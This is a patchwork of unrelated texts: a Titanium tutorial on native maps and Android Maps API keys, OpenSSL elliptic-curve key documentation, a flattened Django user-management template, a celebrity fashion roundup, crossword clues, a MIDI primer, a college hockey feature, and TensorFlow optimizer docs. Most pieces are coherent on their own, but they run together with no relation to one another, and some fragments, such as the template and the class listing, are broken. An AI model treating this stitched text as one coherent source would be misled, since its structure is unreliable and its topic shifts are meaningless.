Native Maps and Annotations
Objective
In this chapter, you'll learn how to use Titanium's Map API to visually represent location data via maps, routes, and annotations. In addition you'll learn best practices with respect to using the API. The context of location is one of the most powerful features of mobile apps, and soon you'll be equipped to visualize that data using native UI components through Titanium.
Content
-
Displaying a MapView
-
Handling MapView events
-
Annotations
-
Routes
-
Android Maps API Key for Distribution
Displaying a MapView
The MapView is the core UI component of the Ti.Map module. It allows Titanium to make use of a mobile device's underlying native maps to view geographic data and add annotations and routes. As it is a native UI component, users will also have access to features like scrolling and multi-touch zoom. In its most basic form, the MapView can simply display a basic map given a geographic position via latitude and longitude.
var win = Ti.UI.createWindow();
var mapview = Titanium.Map.createView({
mapType: Titanium.Map.STANDARD_TYPE,
region: {latitude:37.389569, longitude:-122.050212,
latitudeDelta:0.1, longitudeDelta:0.1},
animate:true,
regionFit:true,
userLocation:false
});
win.add(mapview);
win.open();
As seen above, those few lines of code generate native maps on both iOS and Android, respectively. Now that we have a basic map, let's discuss some of the properties of the Ti.Map.MapView in order to see how it can be manipulated.
-
mapType - Indicates what type of map should be displayed. Below we see the Ti.Map.STANDARD_TYPE, Ti.Map.SATELLITE_TYPE, and Ti.Map.HYBRID_TYPE respectively.
-
region - This is an object that contains the 4 properties defining the visible area of the MapView. Below we can see how the same latitude and longitude of a region can be represented with a different level of zoom via the latitudeDelta and longitudeDelta properties.
** latitude - The latitude of your map's target region-
longitude - The longitude of your map's target region
-
latitudeDelta - The measure of latitude north and south from your target regions's latitude that will be visible in the MapView. The smaller the delta value, the closer the zoom on your map.
-
longitudeDelta - The measure of longitude east and west from your target regions's longitude that will be visible in the MapView
-
-
animate - A boolean that indicates whether or not map actions, like opening and adding annotations, should be animated
-
regionFit - A boolean that indicates if the map should attempt to fit the MapView into the region in the visible view
-
userLocation - A boolean that indicates if the map should show the user's current device location as a pin on the map
There are 2 more components that add a significant amount of functionality to your mapViews. They are annotations and routes. They allow us to add places of interest to our maps as well as plot paths between them. We'll address each in the following sections. But let's first discuss how we can handle events on our basic MapView.
Handling MapView Events
In addition to the typical touch interaction events that all views have, MapViews have a couple more that give you more refined control. In many cases, we want to know exactly how a user's interaction with our initial map has changed its appearance. Also, having events that let us know when the map is loading and completed allow us to make our location based apps more responsive.
Here's the 3 events specific to MapView that give you that additional control, and one additional event for handling mapping errors:
-
complete - This event is fired when the MapView has completed querying and rendering
-
loading - This event is fired when the MapView has started querying for new data, as well as rendering the new map. This is typically the result of the user changing the visible region of the map.
-
regionChanged - The event is fired when the visible region of our MapView has changed. This can occur from programmatic changes, or from user interaction with the map. The new region data is returned in the following structure:
{ latitude: 37.389569 latitudeDelta: 0.1 longitude: -122.050212, longitudeDelta: 1 source: "[object TiMapView]", type: 'regionChanged' }
-
error - This event let's us know when ever there is an error encountered by the underlying native maps. Often times these errors are not critical, but need to be handled in order to preserve a quality user experience.
As mentioned, the most common way to trigger the above events is through user interaction via scrolling and zooming. Let's change the MapView example code to handle all of the aforementioned events.
var win = Ti.UI.createWindow();
var mapview = Titanium.Map.createView({
mapType: Titanium.Map.STANDARD_TYPE,
region: {latitude:37.389569, longitude:-122.050212,
latitudeDelta:0.1, longitudeDelta:0.1},
animate:true,
regionFit:true,
userLocation:false
});
mapview.addEventListener('complete', function(e) {
Ti.API.info('complete');
Ti.API.info(e);
});
mapview.addEventListener('error', function(e) {
Ti.API.info('error');
Ti.API.info(e);
});
mapview.addEventListener('loading', function(e) {
Ti.API.info('loading');
Ti.API.info(e);
});
mapview.addEventListener('regionChanged', function(e) {
Ti.API.info('regionChanged');
Ti.API.info(e);
});
win.add(mapview);
win.open();
Now we'll run the example again, this time zooming the map out after it renders.
And here is the event console output from this interaction.
[INFO] loading
[INFO] {
source = "[object TiMapView]";
type = loading;
}
[INFO] complete
[INFO] {
source = "[object TiMapView]";
type = complete;
}
[INFO] regionChanged
[INFO] {
latitude = "37.35867258291223";
latitudeDelta = "1.883241287989044";
longitude = "-122.049009169728";
longitudeDelta = "1.648237229196269";
source = "[object TiMapView]";
type = regionChanged;
}
Notice the order of events. loading is first, signifying that new map data needs to be queried. complete follows, letting us know that the preceding map query has completed. Finally, we get the regionChanged event which gives us the new coordinates and deltas for the visible map region. This is the typical flow for all map interactions.
So now that we can display a basic MapView and handle user interactions with it, let's take a look at how we can use annotations and routes to further extend the MapView functionality.
Annotations
Annotations, created with the Ti.Map.createAnnotation() function, allow us to mark places of interest on our MapViews with "pins", images, and text. They can be added when a MapView is created via the annotations array property, or anytime afterwards with the Ti.Map.MapView.addAnnotation() function. Users can even interact with them to learn more about annotated locations.
Adding an annotation to a MapView is simple. Let's modify the basic MapView example to see how we can add the Appcelerator headquarters, and a few other locations, as annotations. To make things more interesting, we'll use a number of the styling properties available to annotations through the Titanium API.
var win = Ti.UI.createWindow();
var annotations = [
Ti.Map.createAnnotation({
latitude: 37.389569,
longitude: -122.050212,
title: 'Appcelerator HQ',
subtitle: 'Mountain View, CA',
animate: true,
pincolor: Ti.Map.ANNOTATION_GREEN,
leftButton: 'appcelerator.gif'
}),
Ti.Map.createAnnotation({
latitude: 37.331689,
longitude: -122.030731,
title: 'Apple HQ',
subtitle: 'Cupertino, CA',
animate: true,
pincolor: Ti.Map.ANNOTATION_RED,
rightButton: 'apple.png'
}),
Ti.Map.createAnnotation({
latitude: 37.422502,
longitude: -122.0855498,
title: 'Google HQ',
subtitle: 'Mountain View, CA',
animate: true,
image: 'google.png',
leftView: Ti.UI.createButton({
title: 'leftView',
height: 32,
width: 70
}),
rightView: Ti.UI.createLabel({
text: 'rightView',
height: 'auto',
width: 'auto',
color: '#fff'
})
})
];
var mapview = Titanium.Map.createView({
mapType: Titanium.Map.STANDARD_TYPE,
region: {
latitude:37.389569,
longitude:-122.050212,
latitudeDelta:.05,
longitudeDelta:.05
},
animate:true,
regionFit:true,
userLocation:false,
annotations: annotations
});
win.add(mapview);
win.open();
We just created an array full of annotations, then passed that array to the MapView for use when it was created. Even if we had only one annotation, we still need to pass it to the MapView as an entry in an array. With the array of annotations constructed, we are ready to display them in a MapView. Here's what it looks like on Android and iPhone, respectively.
As we can see, there's many Annotation properties available for styling and interaction. We can add text, animations, colors, and even more UI components through use of these properties. Let's take a look at each of the properties used in this example.
-
animate - A boolean variable that indicates whether or not the annotation should be animated when it is added to the MapView
-
image - The URL to an image to be used in place of the default pin image
-
leftButton - A button that will appear on the left side of your annotation when clicked. This property must have a value equal to the URL of an image, or to a Ti.UI.iPhone.SystemButtonStyle constant.
-
leftView - A Titanium View object that will appear on the left side of your annotation when clicked. This property can be a single view like a Ti.UI.Button or Ti.UI.Label, or it can be a hierarchy of views.
-
pincolor - The color of the default pin representing an annotation. It can have the following values:
-
Ti.Map.ANNOTATION_GREEN
-
Ti.Map.ANNOTATION_PURPLE
-
Ti.Map.ANNOTATION_RED
-
-
rightButton - A button that will appear on the right side of your annotation when clicked. This property must have a value equal to the URL of an image, or to a Ti.UI.iPhone.SystemButtonStyle constant.
-
rightView - A Titanium View object that will appear on the right side of your annotation when clicked. This property can be a single view like a Ti.UI.Button or Ti.UI.Label, or it can be a hierarchy of views.
-
subtitle - The subtitle text that appears on your annotation when clicked
-
title - The main title text that appears on your annotation when clicked
So now you know how to create a MapView, handle changes in its region, and add locations of interest via Annotations. There's one more bit of functionality that native iOS maps provide: routes. In the next section we'll discuss routes, an iOS-only feature that allows us to create paths between locations on a MapView.
Routes (iOS Only)
As already stated, routes are an iOS-only feature. They allow us to draw paths between locations on a MapView. These paths can be driving directions, bike paths, or any other reason you have to connect point A to point B.
Routes are added to MapViews via the Ti.Map.MapView.addRoute() function. To use the addRoute() function, we pass it a properly structured route object that will then be represented on the MapView. The route object should take the following form:
{
name: 'route name',
color: '#f00',
width: 4,
points: [
{latitude:50, longitude:50},
...
]
}
While the name, color, and width fields are self-explanatory, the points array could use some additional detail. points holds the array of latitude and longitude coordinates that represent each point in our {route}}. As geometry dictates, you must have at least 2 points to draw a line, or route in this case. Limitations on the number of points you can use in a route are platform specific and are not governed by the Titanium API.
So let's go back to our MapView example one more time and add a route to it. We'll create a route that connects the 3 locations we've already annotated. The route will go from north to south, connecting each location with a red, 4 pixel wide line.
var win = Ti.UI.createWindow();
var annotations = [
Ti.Map.createAnnotation({
latitude: 37.389569,
longitude: -122.050212,
title: 'Appcelerator HQ',
subtitle: 'Mountain View, CA',
animate: true,
pincolor: Ti.Map.ANNOTATION_GREEN,
leftButton: 'appcelerator.gif'
}),
Ti.Map.createAnnotation({
latitude: 37.331689,
longitude: -122.030731,
title: 'Apple HQ',
subtitle: 'Cupertino, CA',
animate: true,
pincolor: Ti.Map.ANNOTATION_RED,
rightButton: 'apple.png'
}),
Ti.Map.createAnnotation({
latitude: 37.422502,
longitude: -122.0855498,
title: 'Google HQ',
subtitle: 'Mountain View, CA',
animate: true,
image: 'google.png',
leftView: Ti.UI.createButton({
title: 'leftView',
height: 32,
width: 70
}),
rightView: Ti.UI.createLabel({
text: 'rightView',
height: 'auto',
width: 'auto',
color: '#fff'
})
})
];
var mapview = Titanium.Map.createView({
mapType: Titanium.Map.STANDARD_TYPE,
region: {
latitude:37.389569,
longitude:-122.050212,
latitudeDelta:.05,
longitudeDelta:.05
},
animate:true,
regionFit:true,
userLocation:false,
annotations: annotations
});
mapview.addRoute({
name: 'myroute',
width: 4,
color: '#f00',
points: [
{latitude:37.422502, longitude:-122.0855498},
{latitude:37.389569, longitude:-122.050212},
{latitude:37.331689, longitude:-122.030731}
]
});
win.add(mapview);
win.open();
After we add the route to the existing MapView, we get the following map on iPhone.
Google Maps API Key for Android
Google requires a different Map API key for each certificate that signs an Android application. While Titanium automatically provides you with this key during development, you'll need your own when you build for distribution. API Keys can be obtained without a fee from Google. For a more in depth overview, read the Google Maps External Library overview.
In order to receive an API key that corresponds to your apps' certificate, you'll need to follow these steps:
1. Obtain the MD5 hash of your app's certificate from the keystore
Google uses the MD5 fingerprint of the certificate that signs your mobile application to generate a Maps API Key. This API Key is needed by Titanium when constructing the MapView. When your mobile application is run on the emulator or on a device, the underlying Maps implementation verifies that the API key used to pull map data matches the certificate which signed your application.
In order to get the MD5 hash of your distribution certificate, we run the Java SDK keystore tool keytool from command line with the following parameters, explained below:
keytool -list -keystore YOUR_KEYSTORE -alias ALIAS -storepass STOREPASS
-
YOUR_KEYSTORE - The full path to your app's keystore file. For more details on how a keystore is generated, please reference the
[guides:Packaging for the Android Market]
chapter of this book, as well as the Android app signing documentation.
-
ALIAS - The alias you assigned to your keystore when you created it
-
STOREPASS - The password you assigned to secure your keystore when you created it
Upon successful execution of this command you should receive an output similar to the one below. The MD5 hash required is the Certificate fingerprint (MD5) field, which has been highlighted. Copy and/or save the value found in this field.
2. Sign up for an Android Maps API Key
Once you have the MD5 fingerprint, log in with your Google (Gmail) account and visit the Android Maps API Key Signup form.
Paste in your fingerprint and agree to the terms. Press Generate API Key. You should see a result similar to the image below.
3. Put your API Key in tiapp.xml in the property ti.android.google.map.api.key
Once you have received your API key, you need only include it in your project's tiapp.xml file to use it. To do so, we add an application property to the existing file under the main <ti:app> element. The property will look like this:
<property name="ti.android.google.map.api.key">YOUR_ANDROID_MAPS_API_KEY</property>
So if you were to include this in a basic tiapp.xml file, it would look something like this:
<?xml version="1.0" encoding="UTF-8"?>
<ti:app xmlns:ti="http://ti.appcelerator.org">
<deployment-targets>
<target device="mobileweb">false</target>
<target device="iphone">false</target>
<target device="ipad">false</target>
<target device="android">true</target>
<target device="blackberry">false</target>
</deployment-targets>
<id>com.maps</id>
<name>maps</name>
<version>1.0</version>
<publisher>tlukasavage</publisher>
<url>http://appcelerator.com</url>
<description>not specified</description>
<copyright>2011 by tlukasavage</copyright>
<icon>appicon.png</icon>
<persistent-wifi>false</persistent-wifi>
<prerendered-icon>false</prerendered-icon>
<statusbar-style>default</statusbar-style>
<statusbar-hidden>false</statusbar-hidden>
<fullscreen>false</fullscreen>
<navbar-hidden>false</navbar-hidden>
<analytics>true</analytics>
<guid>YOUR_GUID</guid>
<iphone>
<orientations device="iphone">
<orientation>Ti.UI.PORTRAIT</orientation>
</orientations>
<orientations device="ipad">
<orientation>Ti.UI.PORTRAIT</orientation>
<orientation>Ti.UI.UPSIDE_PORTRAIT</orientation>
<orientation>Ti.UI.LANDSCAPE_LEFT</orientation>
<orientation>Ti.UI.LANDSCAPE_RIGHT</orientation>
</orientations>
</iphone>
<android xmlns:android="http://schemas.android.com/apk/res/android"/>
<modules/>
<!-- Here's where we add the API key -->
<property name="ti.android.google.map.api.key">YOUR_ANDROID_MAPS_API_KEY</property>
</ti:app>
You are now ready to use the Google map views in your distributable Titanium app.
Summary
In this chapter we learned how to use the Ti.Map module to create, display, annotate, and navigate through maps. We used Ti.Map.MapView to represent native maps in our mobile app. In addition we used Ti.Map.Annotations to mark places of interest on our maps, adding more detailed data to our location based interactions. Finally, we learned how we can use routes to connect points of interest to our maps.


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#include <factor.h>
Public Member Functions | |
| Var (std::string sName, VarId id, VarType vtype=VarType_Normal) | |
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| Get Type of Object. | |
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EVP_PKEY-EC, EVP_KEYMGMT-EC - EVP_PKEY EC keytype and algorithm support
The EC keytype is implemented in OpenSSL's default provider.
The normal way of specifying domain parameters for an EC curve is via the curve name "group". For curves with no curve name, explicit parameters can be used that specify "field-type", "p", "a", "b", "generator" and "order". Explicit parameters are supported for backwards compatibility reasons, but they are not compliant with multiple standards (including RFC5915) which only allow named curves.
The following KeyGen/Gettable/Import/Export types are available for the built-in EC algorithm:
The curve name.
The value should be either "prime-field" or "characteristic-two-field", which correspond to prime field Fp and binary field F2^m.
For a curve over Fp p is the prime for the field. For a curve over F2^m p represents the irreducible polynomial - each bit represents a term in the polynomial. Therefore, there will either be three or five bits set dependent on whether the polynomial is a trinomial or a pentanomial.
a and b represents the coefficients of the curve For Fp: y^2 mod p = x^3 +ax + b mod p OR For F2^m: y^2 + xy = x^3 + ax^2 + b
seed is an optional value that is for information purposes only. It represents the random number seed used to generate the coefficient b from a random number.
The generator is a well defined point on the curve chosen for cryptographic operations. The encoding conforms with Sec. 2.3.3 of the SECG SEC 1 ("Elliptic Curve Cryptography") standard. See EC_POINT_oct2point(). Integers used for point multiplications will be between 0 and order - 1. cofactor is an optional value. order multiplied by the cofactor gives the number of points on the curve.
Gets a flag indicating whether the key or parameters were decoded from explicit curve parameters. Set to 1 if so or 0 if a named curve was used.
Enable Cofactor DH (ECC CDH) if this value is 1, otherwise it uses normal EC DH if the value is zero. The cofactor variant multiplies the shared secret by the EC curve's cofactor (note for some curves the cofactor is 1).
See also EVP_KEYEXCH-ECDH(7) for the related OSSL_EXCHANGE_PARAM_EC_ECDH_COFACTOR_MODE parameter that can be set on a per-operation basis.
Set the format used for serializing the EC group parameters. Valid values are "explicit" or "named_curve". The default value is "named_curve".
Sets or gets the point_conversion_form for the key. For a description of point_conversion_forms please see EC_POINT_new(3). Valid values are "uncompressed" or "compressed". The default value is "uncompressed".
Sets or Gets the type of group check done when EVP_PKEY_param_check() is called. Valid values are "default", "named" and "named-nist". The "named" type checks that the domain parameters match the inbuilt curve parameters, "named-nist" is similar but also checks that the named curve is a nist curve. The "default" type does domain parameter validation for the OpenSSL default provider, but is equivalent to "named-nist" for the OpenSSL FIPS provider.
Setting this value to 0 indicates that the public key should not be included when encoding the private key. The default value of 1 will include the public key.
The public key value in encoded EC point format conforming to Sec. 2.3.3 and 2.3.4 of the SECG SEC 1 ("Elliptic Curve Cryptography") standard. This parameter is used when importing or exporting the public key value with the EVP_PKEY_fromdata() and EVP_PKEY_todata() functions.
Note, in particular, that the choice of point compression format used for encoding the exported value via EVP_PKEY_todata() depends on the underlying provider implementation. Before OpenSSL 3.1, the implementation of providers included with OpenSSL always opted for an encoding in compressed format, unconditionally. Since OpenSSL 3.1, the implementation has been changed to honor the OSSL_PKEY_PARAM_EC_POINT_CONVERSION_FORMAT parameter, if set, or to default to uncompressed format.
The private key value.
Used for getting and setting the encoding of an EC public key. The public key is expected to be a point conforming to Sec. 2.3.4 of the SECG SEC 1 ("Elliptic Curve Cryptography") standard.
Used for getting the EC public key X component.
Used for getting the EC public key Y component.
Getter that returns the default digest name. (Currently returns "SHA256" as of OpenSSL 3.0).
DHKEM requires the generation of a keypair using an input key material (seed). Use this to specify the key material used for generation of the private key. This value should not be reused for other purposes. It can only be used for the curves "P-256", "P-384" and "P-521" and should have a length of at least the size of the encoded private key (i.e. 32, 48 and 66 for the listed curves).
The following Gettable types are also available for the built-in EC algorithm:
Supports the values "tpBasis" for a trinomial or "ppBasis" for a pentanomial. This field is only used for a binary field F2^m.
These fields are only used for a binary field F2^m. m is the degree of the binary field.
tp is the middle bit of a trinomial so its value must be in the range m > tp > 0.
k1, k2 and k3 are used to get the middle bits of a pentanomial such that m > k3 > k2 > k1 > 0
For EC keys, EVP_PKEY_param_check(3) behaves in the following way: For the OpenSSL default provider it uses either EC_GROUP_check(3) or EC_GROUP_check_named_curve(3) depending on the flag EC_FLAG_CHECK_NAMED_GROUP. The OpenSSL FIPS provider uses EC_GROUP_check_named_curve(3) in order to conform to SP800-56Ar3 Assurances of Domain-Parameter Validity.
For EC keys, EVP_PKEY_param_check_quick(3) is equivalent to EVP_PKEY_param_check(3).
For EC keys, EVP_PKEY_public_check(3) and EVP_PKEY_public_check_quick(3) conform to SP800-56Ar3 ECC Full Public-Key Validation and ECC Partial Public-Key Validation respectively.
For EC Keys, EVP_PKEY_private_check(3) and EVP_PKEY_pairwise_check(3) conform to SP800-56Ar3 Private key validity and Owner Assurance of Pair-wise Consistency respectively.
An EVP_PKEY context can be obtained by calling:
EVP_PKEY_CTX *pctx =
EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
An EVP_PKEY ECDSA or ECDH key can be generated with a "P-256" named group by calling:
pkey = EVP_EC_gen("P-256");
or like this:
EVP_PKEY *key = NULL;
OSSL_PARAM params[2];
EVP_PKEY_CTX *gctx =
EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
EVP_PKEY_keygen_init(gctx);
params[0] = OSSL_PARAM_construct_utf8_string(OSSL_PKEY_PARAM_GROUP_NAME,
"P-256", 0);
params[1] = OSSL_PARAM_construct_end();
EVP_PKEY_CTX_set_params(gctx, params);
EVP_PKEY_generate(gctx, &key);
EVP_PKEY_print_private(bio_out, key, 0, NULL);
...
EVP_PKEY_free(key);
EVP_PKEY_CTX_free(gctx);
An EVP_PKEY EC CDH (Cofactor Diffie-Hellman) key can be generated with a "K-571" named group by calling:
int use_cdh = 1;
EVP_PKEY *key = NULL;
OSSL_PARAM params[3];
EVP_PKEY_CTX *gctx =
EVP_PKEY_CTX_new_from_name(NULL, "EC", NULL);
EVP_PKEY_keygen_init(gctx);
params[0] = OSSL_PARAM_construct_utf8_string(OSSL_PKEY_PARAM_GROUP_NAME,
"K-571", 0);
/*
* This curve has a cofactor that is not 1 - so setting CDH mode changes
* the behaviour. For many curves the cofactor is 1 - so setting this has
* no effect.
*/
params[1] = OSSL_PARAM_construct_int(OSSL_PKEY_PARAM_USE_COFACTOR_ECDH,
&use_cdh);
params[2] = OSSL_PARAM_construct_end();
EVP_PKEY_CTX_set_params(gctx, params);
EVP_PKEY_generate(gctx, &key);
EVP_PKEY_print_private(bio_out, key, 0, NULL);
...
EVP_PKEY_free(key);
EVP_PKEY_CTX_free(gctx);
EVP_EC_gen(3), EVP_KEYMGMT(3), EVP_PKEY(3), provider-keymgmt(7), EVP_SIGNATURE-ECDSA(7), EVP_KEYEXCH-ECDH(7)
Copyright 2020-2022 The OpenSSL Project Authors. All Rights Reserved.
Licensed under the Apache License 2.0 (the "License"). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at https://www.openssl.org/source/license.html.


{% extends "base_site.html" %} {% block title %} General Form Elements {% endblock title %} {% block stylesheets %} {% endblock %} {% block content %} Users Users Home Users Users Add User No Name Role Username Action 1 Darma User darma Update Delete No Name Role Username Action × Confirmation Would you like to delete permanently ?… × Add New User Name: Username: Password: Role: Role Admin Operator User × Update User Name: Username: Password: Role: Role Admin Operator User {% endblock content %} {% block javascripts %} {% endblock %}
Would you like to delete permanently ?…


«Transformations
Index
Reading Data»
Index
Index
Reading Data
Getting Variables
Ways to Write Data
Conditionals
Transformations


The 7 AMAs Looks Everyone Will Be Talking About Tomorrow
by Hannah Weil McKinleyThe American Music Awards red carpet came in like the Sunday night treat we needed, delivering a cool lineup of looks from our favorite stars. From Lizzo's major minibag moment to Camila Cabello's romantic vibes, each of these singers didn't just bring an outfit but a whole vibe to the awards.
With that said, it's going to be hard to pick a favorite — Shawn Mendes's sexy suit and Selena Gomez's electric minidress don't make it easy to narrow it down. Neither does Jameela Jamil's glittering Pamella Roland gown. But that's why we're leaving it up to you. Read on for all seven of our nominees, and let us know which AMAs look you will be talking about long after the show wraps.
Lizzo at the 2019 American Music Awards
Lizzo's bright orange dress and mini Valentino bag won us over from the moment we saw her.
Selena Gomez at the 2019 American Music Awards
Selena Gomez stunned in this electric Versace mini.
Camila Cabello at the 2019 American Music Awards
Camila looked like a princess in this tulle Oscar de la Renta gown.
Jameela Jamil at the 2019 American Music Awards
Jameela was a vision in this Pamella Roland gown.
Taylor Swift at the 2019 American Music Awards
Taylor's glittering Julien MacDonald gown brought the glamour with a thigh-high slit.
Dua Lipa at the 2019 American Music Awards
Dua Lipa channeled Hollywood glamour in this hot-pink gown and diamond necklace.
Shawn Mendes at the 2019 American Music Awards
Shawn stepped out in a seriously sexy suit and accessorized with plenty of jewelry.


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Across: 1. Ascend with member in vessel (5 2) 5. Starts back as I get in closer (7) 9. In Eire, Ned may be poorer (7) 10. Priest, upset with Penny, streaked! (7) 11. Hold drink in Cheshire?... (9) 12. ...Confuse doctor in drink (5) 13. One man may be a spy! (5) 15. Awards account to chief boys out East (9) 17. Runners impress Queen in seconds (9) 19. Returned by Underground, maybe, for the first time (5) 22. Initially Michael and Frank incite angry mob! (5) 23. Take legal action against top rescue organisation (9) 25. Swinging gin till mixed (7) 26. In Virginia, communist returns for William, maybe (7) 27. Doctor goes round awful scene to get down (7) 28. Ron must mix medicine (7) Down: 1. Is it possible for a good man to have a game? (7) 2. First thing on the agenda - ie, Monet's composition (4 3) 3. For building a second stack? (5) 4. Arrange to replace filter (9) 5. Put back fallen trees (5) 6. Phoned about nothing - car is captured! (9) 7. Sounds like little devil took notice and slowed down (7) 8. SAS send terrible sorrow! (7) 14. Talent is a torment! (9) 16. Keeper swore at cinema, we hear! (9) 17. Quietly went in front after uncle had tried (7) 18. Offers hotel as a prize? (7) 20. Tied up Queen? The rotter! (7) 21. Proposition made by those people about raw material (7) 23. Called back, for example, in cool home (5) 24. Bob leaves vessel for fairies (5)


MIDI, which means:
is a digital communications protocol. In August of 1983, music manufacturers
agreed on a document that is called "MIDI 1.0 Specification". Any device that
has MIDI capabilities must adhere to this specific data structure to ensure that
all MIDI devices are capable of working together. This protocol is a language
that allows interworking between instruments from different manufacturers by
providing a link that is capable of transmitting and receiving digital data. It
is important to remember that MIDI transmits commands, but it does not transmit
an audio signal.
The MIDI specification includes a common language that
provides information about events, such as note on and off, preset changes,
sustain pedal, pitch bend, and timing information. The specification has been
updated more recently with specific data structures for handling sample dumps,
MIDI time code, general MIDI and standard MIDI files. To see a complete listing
of all MIDI data, go to: Types
of Data Transmitted through MIDI
MIDI information is transmitted through a MIDI cable
that has DIN-type male plug connectors with five pins. Two of the pins are used
to transfer digital binary information (MIDI Code). One of the pins issues a
steady stream of five volts, while the other pin alternates between 5 volts and
0 volts to represent binary information (on and off). The third pin is a ground
and the remaining two pins are currently not in use.
|
| |
| The MIDI data is sent down the cable one bit at a time as a stream of information, which is called a serial interface. A parallel interface allows the information to be sent down separate wires so that the message reaches the device at the same time, making it faster than a serial interface. Computer chips communicate via a parallel interface. | |
|
|
| The serial interface was chosen by MIDI manufacturers because it is less expensive and more efficient than a parallel interface. The speed of a MIDI serial interface is 31,250 bits per second. There are 10 bits needed for every MIDI digital word or 3125 messages per second. Snap your finger and think about how many many events could be transmitted during that time. Consequently, the serial interface speed is more than adequate for most music applications. | In order to really understand the concept of digital information, we must be familiar with the decimal, binary and hexadecimal counting systems. Understanding Decimal, Binary,& Hexadecimal, will help us to learn about the three counting systems and how they are applied to MIDI communication. |


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McKinley Law | FILE
Ohio University's Jacob Houston (middle) and Jake Faiella (right) go against John Carroll's John McMahon (left) for the puck at Ohio University's Bird Arena on Saturday, Sept. 23, 2017.
01.19.18
It was Aug. 25, 2014, and then-freshman defenseman Jake Faiella was prepared to embark on his journey as a college student. Every student’s path in taking that first step is different, but Faiella was in a league of his own compared to his classmates.
A vast majority of his classes were with other freshmen, obviously. True 18-year-olds who most likely hadn’t had to rely on themselves as much as they would then, and then there was Faiella: a 21-year-old who had just started his collegiate career.
“I was a whole man by then,” Faiella said.
Now, at 24, Faiella still receives more than a few surprised looks when a professor calls roll and wide-eyed peers sit in their chairs in a state of shock and perhaps a bit of confusion.
“I still get a few people go, ‘Hey, how old are you?’ despite the fact most of my classes are with juniors and seniors.”
For a vast majority of the Bobcats’ roster, being older than the average student isn’t something new. The team is comprised by a majority of freshmen and sophomores, despite the fact that the average age of the Bobcats squad is 21.69 years old.
This 1.5-2-year age differential is caused by what brought them here: hockey.
In order to develop the skills and traits necessary for playing such high-level hockey, many mid-adolescents go through junior ice hockey, commonly referred to as juniors.
With ages that range from 16-21, traditional schooling is sacrificed for a chance at something that most young adults don’t get the opportunity to do.
 Freshman goalie Jackson Chilberg chose to go the traditional route in terms of schooling. Rather than playing hockey, school came first. With that, comes the sacrifice of skill and being the youngest player on the team.
Chilberg, who turned 18 in November, said being the young guy was hard at first.
“Growing up, I played with my same age group for my whole life, (so) it’s been an adjustment,” Chilberg said. “I love every bit of it, though.”
Being the youngest, whether on a team or in a family, comes with its natural state of being the runt of the litter. This is no exception for Chilberg.
“After practice I have to clean everything up, from pucks, sticks and nets,” Chilberg said. “I also do the team laundry.”
With work comes rewards, though; in Chilberg’s case, the reward is having relationships with teammates who have been playing the game a few more years than he has.
“Over (winter) break, I stayed with Gabe Lampron,” Chilberg said. “We’ve been hitting it off pretty good, and I consider us good friends; he’s been showing me the ropes.”
Whether it’s on or off the ice, Chilberg is surrounded by talent that is aged and experienced, and not too proud to help just because they might be five or six years older.
“I tell the youngers, ‘Hey, if you ever need some help, ever need to know something, let me know,’” Faiella said. “I’ve been through a lot; it’s nice to help the (younger) kids out.”
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LossScaleOptimizer
An optimizer that applies loss scaling.
Inherits From: Optimizer
tf.compat.v1.keras.mixed_precision.experimental.LossScaleOptimizer
tf.compat.v2.keras.mixed_precision.experimental.LossScaleOptimizer
Loss scaling is a process that multiplies the loss by a multiplier called the loss scale, and divides each gradient by the same multiplier. The pseudocode for this process is:
loss = ... loss *= loss_scale grads = gradients(loss, vars) grads /= loss_scale
Mathematically, loss scaling has no effect, but can help avoid numerical underflow in intermediate gradients when float16 tensors are used. By multiplying the loss, each intermediate gradient will have the same multiplier applied.
The loss scale can either be a fixed constant, chosen by the user, or be dynamically determined. Dynamically determining the loss scale is convenient as a loss scale does not have to be explicitly chosen. However it reduces performance.
This optimizer wraps another optimizer and applies loss scaling to it via a
LossScale
. Loss scaling is applied whenever gradients are
computed, either through minimize()
or get_gradients()
. The loss scale is
updated via LossScale.update()
whenever gradients are applied, either
through minimize()
or apply_gradients()
. For example:
opt = tf.keras.optimizers.SGD(0.1) opt = tf.keras.mixed_precision.experimental.LossScaleOptimizer(opt, "dynamic") # 'minimize' applies loss scaling to the loss and updates the loss sale. opt.minimize(loss_fn)
If a tf.GradientTape
is used to compute gradients instead of
LossScaleOptimizer.minimize
or LossScaleOptimizer.get_gradients
, the loss
and gradients must be scaled manually. This can be done by calling
LossScaleOptimizer.get_scaled_loss
before passing the loss to
tf.GradientTape
, and LossScaleOptimizer.get_unscaled_gradients
after
computing the gradients with tf.GradientTape
. For example:
opt = tf.keras.mixed_precision.experimental.LossScaleOptimizer(...) vars = ... with tf.GradientTape() as tape: loss = ... scaled_loss = opt.get_scaled_loss(loss) scaled_grads = tape.gradient(scaled_loss, vars) grads = opt.get_unscaled_gradients(scaled_grads) opt.apply_gradients(zip(grads, vars)) # Loss scale will be updated here
__init__
__init__( optimizer, loss_scale )
Initializes this loss scale optimizer.
optimizer
: The Optimizer instance to wrap.loss_scale
: The loss scale to scale the loss and gradients. This can
either be an int/float to use a fixed loss scale, the string "dynamic"
to use dynamic loss scaling, or an instance of a LossScale. The string
"dynamic" equivalent to passing DynamicLossScale()
, and passing an
int/float is equivalent to passing a FixedLossScale with the given loss
scale.iterations
Variable. The number of training steps this Optimizer has run.
learning_rate
loss_scale
The LossScale
instance associated with this optimizer.
lr
weights
Returns variables of this Optimizer based on the order created.
add_slot
add_slot( var, slot_name, initializer='zeros' )
Add a new slot variable for var
.
add_weight
add_weight( name, shape, dtype=None, initializer='zeros', trainable=None, synchronization=tf.VariableSynchronization.AUTO, aggregation=tf.compat.v1.VariableAggregation.NONE )
apply_gradients
apply_gradients( grads_and_vars, name=None )
Apply gradients to variables.
This is the second part of minimize()
. It returns an Operation
that
applies gradients.
grads_and_vars
: List of (gradient, variable) pairs.name
: Optional name for the returned operation. Default to the name
passed to the Optimizer
constructor.An Operation
that applies the specified gradients. If global_step
was not None, that operation also increments global_step
.
TypeError
: If grads_and_vars
is malformed.ValueError
: If none of the variables have gradients.from_config
@classmethod from_config( cls, config, custom_objects=None )
Creates an optimizer from its config.
This method is the reverse of get_config
,
capable of instantiating the same optimizer from the config
dictionary.
config
: A Python dictionary, typically the output of get_config.custom_objects
: A Python dictionary mapping names to additional Python
objects used to create this optimizer, such as a function used for a
hyperparameter.An optimizer instance.
get_config
get_config()
Returns the config of the optimimizer.
